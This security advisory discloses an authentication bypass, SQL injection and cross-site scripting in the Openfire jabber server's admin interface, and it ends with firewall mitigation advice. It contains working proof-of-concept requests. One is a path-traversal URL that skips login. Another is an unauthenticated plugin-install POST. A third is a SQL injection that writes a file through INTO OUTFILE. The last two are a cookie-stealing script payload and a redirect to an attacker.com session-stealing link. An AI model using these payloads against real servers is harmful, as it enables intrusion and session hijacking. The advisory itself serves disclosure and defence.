### Vulnerability description:
--------------------------
The jabber server Openfire (<= version 3.6.0a) contains several serious
vulnerabilities. Depending on the particular runtime environment these
issues can potentially even be used by an attacker to execute code
on operating system level.
##### 1) Authentication bypass
This vulnerability provides an attacker full access to all functions
in the admin webinterface without providing any user credentials.
The Tomcat filter which is responsible for authentication could be
completely circumvented.
##### 2) SQL injection
It is possible to pass SQL statements to the backend database through
a SQL injection vulnerability. Depending on the particular
runtime environment and database permissions it is even possible to
write files to disk and execute code on operating system level.
##### 3) Multiple Cross-Site Scripting
Permits arbitrary insertion of HTML- and JavaScript code in login.jsp.
An attacker could also manipulate a parameter to specify
a destination to which a user will be forwarded to after successful
authentication.
### Technical details:
------------------
##### 1) Authentication bypass
Authentication to the openfire admin interface is secured by a filter in
the Tomcat application server (org.jivesoftware.admin.AuthCheckFilter).
This filter guarantees that access to the admin interface is only granted
to authenticated users. Otherwise they get redirected to a login page.
A design error in Openfire enables access to internal functions
without the need for admin user credentials.
The deployment descriptor (web.xml) configures some exclude values
for the AuthCheckFilter:
```
<filter>
<filter-name>AuthCheck</filter-name>
<filter-class>org.jivesoftware.admin.AuthCheckFilter</filter-class>
<init-param>
<param-name>excludes</param-name>
<param-value>login.jsp,index.jsp?logout=true,setup/index.jsp,
setup/setup-,.gif,.png,error-serverdown.jsp</param-value>
</init-param>
</filter>
```
When a request URL contains one of these Exclude-Strings the
auth check mechanism is totally circumvented. This was considered
necessary for the initial setup process or the presence plugin.
Following POC demonstrates how an attacker could access
internal functions by manipulating the URL providing one of these
excludes(/setup/setup-/../../):
```
http://www.foo.bar:9090/setup/setup-/../../log.jsp?log=info&mode=asc&lines=
```
##### 2) SQL injection
The parameter "type" in sipark-log-summary.jsp is prone to
SQL injection. Untrusted user data enters the application in
sipark-log-summary.jsp (line 163):
```
String type = ParamUtils.getParameter(request, "type");
```
The function getCalls() in org.jivesoftware.openfire.sip.calllog.CallLogDAO
processes this user input (SQLCondition) and constructs a SQL statement:
```
String sql = "SELECT * FROM sipPhoneLog";
sql = SQLCondition != null && !SQLCondition.equals("") ?
sql + " WHERE " + SQLCondition : sql;
sql += " ORDER BY datetime DESC";
```
That statement is executed in the method
createScrollablePreparedStatement()
in CallLogDAO (line 411):
```
return con.prepareStatement(sql);
```
In that case there is a SQL injection vulnerability present even though
prepared statemens are used. This happens because the string sql is
dynamically
concatenated *before* it is passed to the prepared statement object.
##### 3) Cross-Site Scripting
The parameter "url" in login.jsp was vulnerable to Cross-Site Scripting
(XSS).
This vulnerability is the only one which was fixed within the last 6
months.
```
http://www.foo.bar:9090/login.jsp?url="/><script>alert(document.cookie);</s
cript>
```
An attacker could also manipulate the parameter to specify a
destination to which a user will be forwarded to after successful
authentication:
```
http://www.foo.bar:9090/login.jsp?url=http://www.attacker.com/StealSession
```
If a user authenticates using that link it is easily possible for an
attacker to hijack the users session.
Furthermore the parameter "username" in login.jsp is still vulnerable
to Cross-Site Scripting attacks.
##### Putting it all together:
------------------------
Since the SIP-Plugin is deactivated by default, an attacker needs to
install it using the authentication bypass vulnerability and the
following POST request:
```
POST
http://www.foo.bar:9090/setup/setup-/../../dwr/exec/downloader.installPlugi
n.dwr HTTP/1.1
Host: www.foo.bar:9090
callCount=1
c0-scriptName=downloader
c0-methodName=installPlugin
c0-id=7931_1210973487852
c0-param0=string:http%3A%2F%2Fwww.igniterealtime.org%2Fprojects%2Fopenfire%
2Fplugins%2Fsip.jar
c0-param1=string:661780277
xml=true
```
After that activation the described SQL injection vulnerability can
be used in a single unauthenticated request.
The following proof of concept uses a mysql database:
```
http://www.foo.bar:9090/setup/setup-/../../plugins/sip/sipark-log-summary.j
sp?
type=all'UNION%20SELECT%20'attack-code'%20INTO%20OUTFILE%20'/tmp/attack.sh'
%20/*&startDate=Any&endDate=Any&submit=true&get=Search
```
### Solution:
---------
Since the vendor didn't release a patch within the last 6 months it is
highly recommended to deactivate access to the entire admin interface.
This can be achieved for example by blocking the according ports
(tcp/9090 & tcp/9091 by default) with a firewall. Following communication
to the admin interface can be done via SSL tunnels.
For more details see: http://www.andreas-kurtz.de/archives/63
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